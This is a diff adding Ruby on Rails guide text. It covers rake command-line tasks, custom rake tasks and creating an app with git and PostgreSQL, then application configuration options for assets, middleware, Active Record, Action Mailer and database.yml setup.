+```
+
+### `about`
+
+`rake about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.

+```
+
+### `assets`
+
+You can precompile the assets in `app/assets` using `rake assets:precompile` and remove those compiled assets using `rake assets:clean`.
+
+### `db`
+
+The most common tasks of the `db:` Rake namespace are `migrate` and `create`, and it will pay off to try out all of the migration rake tasks (`up`, `down`, `redo`, `reset`). `rake db:version` is useful when troubleshooting, telling you the current version of the database.
+
+More information about migrations can be found in the [Migrations](migrations.html) guide.
+
+### `doc`
+
+The `doc:` namespace has the tools to generate documentation for your app, API documentation, guides. Documentation can also be stripped which is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform.
+
+* `rake doc:app` generates documentation for your application in `doc/app`.
+* `rake doc:guides` generates Rails guides in `doc/guides`.
+* `rake doc:rails` generates API documentation for Rails in `doc/api`.
+
+### `notes`
+
+`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.erb`, `.haml` and `.slim` for both default and custom annotations.
+
+```bash
+$ rake notes
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+ * [ 20] [TODO] any other way to do this?
+ * [132] [FIXME] high priority for next deploy
+
+app/models/school.rb:
+ * [ 13] [OPTIMIZE] refactor this code to make it faster
+ * [ 17] [FIXME]
+```
+
+If you are looking for a specific annotation, say FIXME, you can use `rake notes:fixme`. Note that you have to lower case the annotation's name.
+
+```bash
+$ rake notes:fixme
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+ * [132] high priority for next deploy
+
+app/models/school.rb:
+ * [ 17]
+```
+
+You can also use custom annotations in your code and list them using `rake notes:custom` by specifying the annotation using an environment variable `ANNOTATION`.
+
+```bash
+$ rake notes:custom ANNOTATION=BUG
+(in /home/foobar/commandsapp)
+app/models/post.rb:
+ * [ 23] Have to fix this one before pushing!
+```
+
+NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines.
+
+By default, `rake notes` will look in the `app`, `config`, `lib`, `bin` and `test` directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable `SOURCE_ANNOTATION_DIRECTORIES`.
+
+```bash
+$ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor'
+$ rake notes
+(in /home/foobar/commandsapp)
+app/models/user.rb:
+ * [ 35] [FIXME] User should have a subscription at this point
+spec/models/user_spec.rb:
+ * [122] [TODO] Verify the user that has a subscription works
+```
+
+### `routes`
+
+`rake routes` will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
+
+### `test`
+
+INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html)
+
+Rails comes with a test suite called `Test::Unit`. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write.
+
+### `tmp`
+
+The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions.
+
+The `tmp:` namespaced tasks will help you clear the `Rails.root/tmp` directory:
+
+* `rake tmp:cache:clear` clears `tmp/cache`.
+* `rake tmp:sessions:clear` clears `tmp/sessions`.
+* `rake tmp:sockets:clear` clears `tmp/sockets`.
+* `rake tmp:clear` clears all the three: cache, sessions and sockets.
+
+### Miscellaneous
+
+* `rake stats` is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
+* `rake secret` will give you a pseudo-random key to use for your session secret.
+* `rake time:zones:all` lists all the timezones Rails knows about.
+
+### Custom Rake Tasks
+
+Custom rake tasks have a `.rake` extension and are placed in `Rails.root/lib/tasks`.
+
+```ruby
+desc "I am short, but comprehensive description for my cool task"
+task task_name: [:prerequisite_task, :another_task_we_depend_on] do
+ # All your magic here
+ # Any valid Ruby code is allowed
+end
+```
+
+To pass arguments to your custom rake task:
+
+```ruby
+task :task_name, [:arg_1] => [:pre_1, :pre_2] do |t, args|
+ # You can use args from here
+end
+```
+
+You can group tasks by placing them in namespaces:
+
+```ruby
+namespace :db do
+ desc "This task does nothing"
+ task :nothing do
+ # Seriously, nothing
+ end
+end
+```
+
+Invocation of the tasks will look like:
+
+```bash
+rake task_name
+rake "task_name[value 1]" # entire argument string should be quoted
+rake db:nothing
+```
+
+NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the `environment` task, which will load your application code.
+
+The Rails Advanced Command Line
+-------------------------------
+
+More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.
+
+### Rails with Databases and SCM
+
+When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.
+
+Let's see what a `--git` option and a `--database=postgresql` option will do for us:
+
+```bash
+$ mkdir gitapp
+$ cd gitapp
+$ git init
+Initialized empty Git repository in .git/
+$ rails new . --git --database=postgresql
+ exists
+ create app/controllers
+ create app/helpers
+...
+...
+ create tmp/cache
+ create tmp/pids
+ create Rakefile
+add 'Rakefile'
+ create README.rdoc
+add 'README.rdoc'
+ create app/controllers/application_controller.rb
+add 'app/controllers/application_controller.rb'
+ create app/helpers/application_helper.rb
+...
+ create log/test.log
+add 'log/test.log'
+```
+
+We had to create the **gitapp** directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:
+
+```bash
+$ cat config/database.yml
+# PostgreSQL. Versions 8.2 and up are supported.
+#
+# Install the pg driver:
+# gem install pg
+# On OS X with Homebrew:
+# gem install pg -- --with-pg-config=/usr/local/bin/pg_config
+# On OS X with MacPorts:
+# gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
+# On Windows:
+# gem install pg
+# Choose the win32 build.
+# Install PostgreSQL and put its /bin directory on your path.
+#
+# Configure Using Gemfile
+# gem 'pg'
+#
+development:
+ adapter: postgresql
+ encoding: unicode
+ database: gitapp_development
+ pool: 5
+ username: gitapp
+ password:
+...
+...
+```
+
+It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.
+
+NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the `rails new` command to generate the basis of your app.

+Configuring Rails Applications
+==============================
+
+This guide covers the configuration and initialization features available to Rails applications.
+
+After reading this guide, you will know:
+
+* How to adjust the behavior of your Rails applications.
+* How to add additional code to be run at application start time.
+
+--------------------------------------------------------------------------------
+
+Locations for Initialization Code
+---------------------------------
+
+Rails offers four standard spots to place initialization code:
+
+* `config/application.rb`
+* Environment-specific configuration files
+* Initializers
+* After-initializers
+
+Running Code Before Rails
+-------------------------
+
+In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to `require 'rails/all'` in `config/application.rb`.
+
+Configuring Rails Components
+----------------------------
+
+In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file `config/application.rb` and environment-specific configuration files (such as `config/environments/production.rb`) allow you to specify the various settings that you want to pass down to all of the components.
+
+For example, the default `config/application.rb` file includes this setting:
+
+```ruby
+config.filter_parameters += [:password]
+```
+
+This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same `config` object in `config/application.rb`:
+
+```ruby
+config.active_record.schema_format = :ruby
+```
+
+Rails will use that particular setting to configure Active Record.
+
+### Rails General Configuration
+
+These configuration methods are to be called on a `Rails::Railtie` object, such as a subclass of `Rails::Engine` or `Rails::Application`.
+
+* `config.after_initialize` takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in `config/initializers`. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers:
+
+ ```ruby
+ config.after_initialize do
+ ActionView::Base.sanitized_allowed_tags.delete 'div'
+ end
+ ```
+
+* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`.
+
+* `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array.
+
+* `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`.
+
+* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with `threadsafe!`.
+
+* `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`.
+
+* `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise.
+
+* `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true.
+
+* `config.consider_all_requests_local` is a flag. If true then any error will cause detailed debugging information to be dumped in the HTTP response, and the `Rails::Info` controller will show the application runtime context in `/rails/info/properties`. True by default in development and test environments, and false in production mode. For finer-grained control, set this to false and implement `local_request?` in controllers to specify which requests should provide debugging information [...]
+
+* `config.console` allows you to set class that will be used as console you run `rails console`. It's best to run it in `console` block:
+
+ ```ruby
+ console do
+ # this block is called only when running console,
+ # so we can safely require pry here
+ require "pry"
+ config.console = Pry
+ end
+ ```
+
+* `config.dependency_loading` is a flag that allows you to disable constant autoloading setting it to false. It only has effect if `config.cache_classes` is true, which it is by default in production mode. This flag is set to false by `config.threadsafe!`.
+
+* `config.eager_load` when true, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks and any other registered namespace.
+
+* `config.eager_load_namespaces` registers namespaces that are eager loaded when `config.eager_load` is true. All namespaces in the list must respond to the `eager_load!` method.
+
+* `config.eager_load_paths` accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the `app` directory of the application.
+
+* `config.encoding` sets up the application-wide encoding. Defaults to UTF-8.
+
+* `config.exceptions_app` sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.
+
+* `config.file_watcher` the class used to detect file updates in the filesystem when `config.reload_classes_only_on_change` is true. Must conform to `ActiveSupport::FileUpdateChecker` API.
+
+* `config.filter_parameters` used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers.
+
+* `config.force_ssl` forces all requests to be under HTTPS protocol by using `ActionDispatch::SSL` middleware.
+
+* `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all modes except production, where it defaults to `:info`.
+
+* `config.log_tags` accepts a list of methods that respond to `request` object. This makes it easy to tag log lines with debug information like subdomain and request id — both very helpful in debugging multi-user production applications.
+
+* `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::Logger`, with auto flushing off in production mode.
+
+* `config.middleware` allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below.
+
+* `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If `config.cache_classes` is true, this option is ignored.
+
+* `config.secret_key_base` used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`.
+
+* `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under t [...]
+
+* `config.session_store` is usually set up in `config/initializers/session_store.rb` and specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Custom session stores can also be specified:
+
+ ```ruby
+ config.session_store :my_custom_store
+ ```
+
+ This custom store must be defined as `ActionDispatch::Session::MyCustomStore`.
+
+* `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record.
+
+* `config.beginning_of_week` sets the default beginning of week for the application. Accepts a valid week day symbol (e.g. `:monday`).
+
+* `config.whiny_nils` enables or disables warnings when a certain set of methods are invoked on `nil` and it does not respond to them. Defaults to true in development and test environments.
+
+### Configuring Assets
+
+* `config.assets.enabled` a flag that controls whether the asset pipeline is enabled. It is explicitly initialized in `config/application.rb`.
+
+* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/production.rb`.
+
+* `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem.
+
+* `config.assets.js_compressor` defines the JavaScript compressor to use. Possible values are `:closure`, `:uglifier` and `:yui` which require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems respectively.
+
+* `config.assets.paths` contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.
+
+* `config.assets.precompile` allows you to specify additional assets (other than `application.css` and `application.js`) which are to be precompiled when `rake assets:precompile` is run.
+
+* `config.assets.prefix` defines the prefix where assets are served from. Defaults to `/assets`.
+
+* `config.assets.digest` enables the use of MD5 fingerprints in asset names. Set to `true` by default in `production.rb`.
+
+* `config.assets.debug` disables the concatenation and compression of assets. Set to `true` by default in `development.rb`.
+
+* `config.assets.cache_store` defines the cache store that Sprockets will use. The default is the Rails file store.
+
+* `config.assets.version` is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled.
+
+* `config.assets.compile` is a boolean that can be used to turn on live Sprockets compilation in production.
+
+* `config.assets.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to the same configured at `config.logger`. Setting `config.assets.logger` to false will turn off served assets logging.
+
+### Configuring Generators
+
+Rails allows you to alter what generators are used with the `config.generators` method. This method takes a block:
+
+```ruby
+config.generators do |g|
+ g.orm :active_record
+ g.test_framework :test_unit
+end
+```
+
+The full set of methods that can be used in this block are as follows:
+
+* `assets` allows to create assets on generating a scaffold. Defaults to `true`.
+* `force_plural` allows pluralized model names. Defaults to `false`.
+* `helper` defines whether or not to generate helpers. Defaults to `true`.
+* `integration_tool` defines which integration tool to use. Defaults to `nil`.
+* `javascripts` turns on the hook for JavaScript files in generators. Used in Rails for when the `scaffold` generator is run. Defaults to `true`.
+* `javascript_engine` configures the engine to be used (for eg. coffee) when generating assets. Defaults to `nil`.
+* `orm` defines which orm to use. Defaults to `false` and will use Active Record by default.
+* `resource_controller` defines which generator to use for generating a controller when using `rails generate resource`. Defaults to `:controller`.
+* `scaffold_controller` different from `resource_controller`, defines which generator to use for generating a _scaffolded_ controller when using `rails generate scaffold`. Defaults to `:scaffold_controller`.
+* `stylesheets` turns on the hook for stylesheets in generators. Used in Rails for when the `scaffold` generator is run, but this hook can be used in other generates as well. Defaults to `true`.
+* `stylesheet_engine` configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to `:css`.
+* `test_framework` defines which test framework to use. Defaults to `false` and will use Test::Unit by default.
+* `template_engine` defines which template engine to use, such as ERB or Haml. Defaults to `:erb`.
+
+### Configuring Middleware
+
+Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:
+
+* `ActionDispatch::SSL` forces every request to be under HTTPS protocol. Will be available if `config.force_ssl` is set to `true`. Options passed to this can be configured by using `config.ssl_options`.
+* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.serve_static_assets` is `false`.
+* `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. Only enabled when `config.cache_classes` is `false`.
+* `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
+* `Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request.
+* `Rails::Rack::Logger` notifies the logs that the request has began. After request is complete, flushes all the logs.
+* `ActionDispatch::ShowExceptions` rescues any exception returned by the application and renders nice exception pages if the request is local or if `config.consider_all_requests_local` is set to `true`. If `config.action_dispatch.show_exceptions` is set to `false`, exceptions will be raised regardless.
+* `ActionDispatch::RequestId` makes a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method.
+* `ActionDispatch::RemoteIp` checks for IP spoofing attacks and gets valid `client_ip` from request headers. Configurable with the `config.action_dispatch.ip_spoofing_check`, and `config.action_dispatch.trusted_proxies` options.
+* `Rack::Sendfile` intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with `config.action_dispatch.x_sendfile_header`.
+* `ActionDispatch::Callbacks` runs the prepare callbacks before serving the request.
+* `ActiveRecord::ConnectionAdapters::ConnectionManagement` cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`.
+* `ActiveRecord::QueryCache` caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned.
+* `ActionDispatch::Cookies` sets cookies for the request.
+* `ActionDispatch::Session::CookieStore` is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the `config.action_controller.session_store` to an alternate value. Additionally, options passed to this can be configured by using `config.action_controller.session_options`.
+* `ActionDispatch::Flash` sets up the `flash` keys. Only available if `config.action_controller.session_store` is set to a value.
+* `ActionDispatch::ParamsParser` parses out parameters from the request into `params`.
+* `Rack::MethodOverride` allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types.
+* `ActionDispatch::Head` converts HEAD requests to GET requests and serves them as so.
+
+Besides these usual middleware, you can add your own by using the `config.middleware.use` method:
+
+```ruby
+config.middleware.use Magical::Unicorns
+```
+
+This will put the `Magical::Unicorns` middleware on the end of the stack. You can use `insert_before` if you wish to add a middleware before another.
+
+```ruby
+config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
+```
+
+There's also `insert_after` which will insert a middleware after another:
+
+```ruby
+config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
+```
+
+Middlewares can also be completely swapped out and replaced with others:
+
+```ruby
+config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
+```
+
+They can also be removed from the stack completely:
+
+```ruby
+config.middleware.delete "Rack::MethodOverride"
+```
+
+### Configuring i18n
+
+* `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`.
+
+* `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`.
+
+### Configuring Active Record
+
+`config.active_record` includes a variety of configuration options:
+
+* `config.active_record.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling `logger` on either an Active Record model class or an Active Record model instance. Set to `nil` to disable logging.
+
+* `config.active_record.primary_key_prefix_type` lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named `id` (and this configuration option doesn't need to be set.) There are two other choices:
+** `:table_name` would make the primary key for the Customer class `customerid`
+** `:table_name_with_underscore` would make the primary key for the Customer class `customer_id`
+
+* `config.active_record.table_name_prefix` lets you set a global string to be prepended to table names. If you set this to `northwest_`, then the Customer class will look for `northwest_customers` as its table. The default is an empty string.
+
+* `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string.
+
+* `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table.
+
+* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc` for Rails, although Active Record defaults to `:local` when used outside of Rails.
+
+* `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements.
+
+* `config.active_record.timestamped_migrations` controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application.
+
+* `config.active_record.lock_optimistically` controls whether Active Record will use optimistic locking and is true by default.
+
+* `config.active_record.cache_timestamp_format` controls the format of the timestamp value in the cache key. Default is `:number`.
+
+The MySQL adapter adds one additional configuration option:
+
+* `ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns in a MySQL database to be booleans and is true by default.
+
+The schema dumper adds one additional configuration option:
+
+* `ActiveRecord::SchemaDumper.ignore_tables` accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless `config.active_record.schema_format == :ruby`.
+
+### Configuring Action Controller
+
+`config.action_controller` includes a number of configuration settings:
+
+* `config.action_controller.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself.
+
+* `config.action_controller.perform_caching` configures whether the application should perform caching or not. Set to false in development mode, true in production.
+
+* `config.action_controller.default_static_extension` configures the extension used for cached pages. Defaults to `.html`.
+
+* `config.action_controller.default_charset` specifies the default character set for all renders. The default is "utf-8".
+
+* `config.action_controller.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to `nil` to disable logging.
+
+* `config.action_controller.request_forgery_protection_token` sets the token parameter name for RequestForgery. Calling `protect_from_forgery` sets it to `:authenticity_token` by default.
+
+* `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is `false` in test mode and `true` in all other modes.
+
+* `config.action_controller.relative_url_root` can be used to tell Rails that you are deploying to a subdirectory. The default is `ENV['RAILS_RELATIVE_URL_ROOT']`.
+
+* `config.action_controller.permit_all_parameters` sets all the parameters for mass assignment to be permitted by default. The default value is `false`.
+
+* `config.action_controller.action_on_unpermitted_params` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments.
+
+### Configuring Action Dispatch
+
+* `config.action_dispatch.session_store` sets the name of the store for session data. The default is `:cookie_store`; other valid options include `:active_record_store`, `:mem_cache_store` or the name of your own custom class.
+
+* `config.action_dispatch.default_headers` is a hash with HTTP headers that are set by default in each response. By default, this is defined as:
+
+ ```ruby
+ config.action_dispatch.default_headers = {
+ 'X-Frame-Options' => 'SAMEORIGIN',
+ 'X-XSS-Protection' => '1; mode=block',
+ 'X-Content-Type-Options' => 'nosniff'
+ }
+ ```
+
+* `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`.
+
+* `ActionDispatch::Callbacks.before` takes a block of code to run before the request.
+
+* `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`.
+
+* `ActionDispatch::Callbacks.after` takes a block of code to run after the request.
+
+### Configuring Action View
+
+`config.action_view` includes a small number of configuration settings:
+
+* `config.action_view.field_error_proc` provides an HTML generator for displaying errors that come from Active Record. The default is
+
+ ```ruby
+ Proc.new do |html_tag, instance|
+ %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe
+ end
+ ```
+
+* `config.action_view.default_form_builder` tells Rails which form builder to use by default. The default is `ActionView::Helpers::FormBuilder`. If you want your form builder class to be loaded after initialization (so it's reloaded on each request in development), you can pass it as a `String`
+
+* `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging.
+
+* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`. See the [ERB documentation](http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/) for more information.
+
+* `config.action_view.embed_authenticity_token_in_remote_forms` allows you to set the default behavior for `authenticity_token` in forms with `:remote => true`. By default it's set to false, which means that remote forms will not include `authenticity_token`, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the `meta` tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass `:authentici [...]
+
+* `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::PostsController` which renders this template:
+
+ ```erb
+ <%= render @post %>
+ ```
+
+ The default setting is `true`, which uses the partial at `/admin/posts/_post.erb`. Setting the value to `false` would render `/posts/_post.erb`, which is the same behavior as rendering from a non-namespaced controller such as `PostsController`.
+
+### Configuring Action Mailer
+
+There are a number of settings available on `config.action_mailer`:
+
+* `config.action_mailer.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to `nil` to disable logging.
+
+* `config.action_mailer.smtp_settings` allows detailed configuration for the `:smtp` delivery method. It accepts a hash of options, which can include any of these options:
+ * `:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
+ * `:port` - On the off chance that your mail server doesn't run on port 25, you can change it.
+ * `:domain` - If you need to specify a HELO domain, you can do it here.
+ * `:user_name` - If your mail server requires authentication, set the username in this setting.
+ * `:password` - If your mail server requires authentication, set the password in this setting.
+ * `:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.
+
+* `config.action_mailer.sendmail_settings` allows detailed configuration for the `sendmail` delivery method. It accepts a hash of options, which can include any of these options:
+ * `:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.
+ * `:arguments` - The command line arguments. Defaults to `-i -t`.
+
+* `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to true.
+
+* `config.action_mailer.delivery_method` defines the delivery method. The allowed values are `:smtp` (default), `:sendmail`, and `:test`.
+
+* `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.
+
+* `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to:
+
+ ```ruby
+ :mime_version => "1.0",
+ :charset => "UTF-8",
+ :content_type => "text/plain",
+ :parts_order => [ "text/plain", "text/enriched", "text/html" ]
+ ```
+
+* `config.action_mailer.observers` registers observers which will be notified when mail is delivered.
+
+ ```ruby
+ config.action_mailer.observers = ["MailObserver"]
+ ```
+
+* `config.action_mailer.interceptors` registers interceptors which will be called before mail is sent.
+
+ ```ruby
+ config.action_mailer.interceptors = ["MailInterceptor"]
+ ```
+
+### Configuring Active Support
+
+There are a few configuration options available in Active Support:
+
+* `config.active_support.bare` enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded.
+
+* `config.active_support.escape_html_entities_in_json` enables or disables the escaping of HTML entities in JSON serialization. Defaults to `false`.
+
+* `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `true`.
+
+* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
+
+* `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations.
+
+* `ActiveSupport::Deprecation.behavior` alternative setter to `config.active_support.deprecation` which configures the behavior of deprecation warnings for Rails.
+
+* `ActiveSupport::Deprecation.silence` takes a block in which all deprecation warnings are silenced.
+
+* `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings.
+
+* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
+
+### Configuring a Database
+
+Just about every Rails application will interact with a database. The database to use is specified in a configuration file called `config/database.yml`. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default:
+
+* The `development` environment is used on your development/local computer as you interact manually with the application.
+* The `test` environment is used when running automated tests.
+* The `production` environment is used when you deploy your application for the world to use.
+
+TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of [...]
+
+#### Configuring an SQLite3 Database
+
+Rails comes with built-in support for [SQLite3](http://www.sqlite.org), which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.
+
+Here's the section of the default configuration file (`config/database.yml`) with connection information for the development environment:
+
+```yaml
+development:
+ adapter: sqlite3
+ database: db/development.sqlite3
+ pool: 5
+ timeout: 5000
+```
+
+NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it.
+
+#### Configuring a MySQL Database
+
+If you choose to use MySQL instead of the shipped SQLite3 database, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+ adapter: mysql2
+ encoding: utf8
+ database: blog_development
+ pool: 5
+ username: root
+ password:
+ socket: /tmp/mysql.sock
+```
+
+If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the `development` section as appropriate.
+
+#### Configuring a PostgreSQL Database
+
+If you choose to use PostgreSQL, your `config/database.yml` will be customized to use PostgreSQL databases:
+
+```yaml
+development:
+ adapter: postgresql
+ encoding: unicode
+ database: blog_development
+ pool: 5
+ username: blog
+ password:
+```
+
+Prepared Statements can be disabled thus:
+
+```yaml
+production:
+ adapter: postgresql
+ prepared_statements: false
+```
+
+#### Configuring an SQLite3 Database for JRuby Platform
+
+If you choose to use SQLite3 and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+ adapter: jdbcsqlite3
+ database: db/development.sqlite3
+```
+
+#### Configuring a MySQL Database for JRuby Platform
+
+If you choose to use MySQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+ adapter: jdbcmysql
+ database: blog_development
+ username: root
+ password:
+```
+
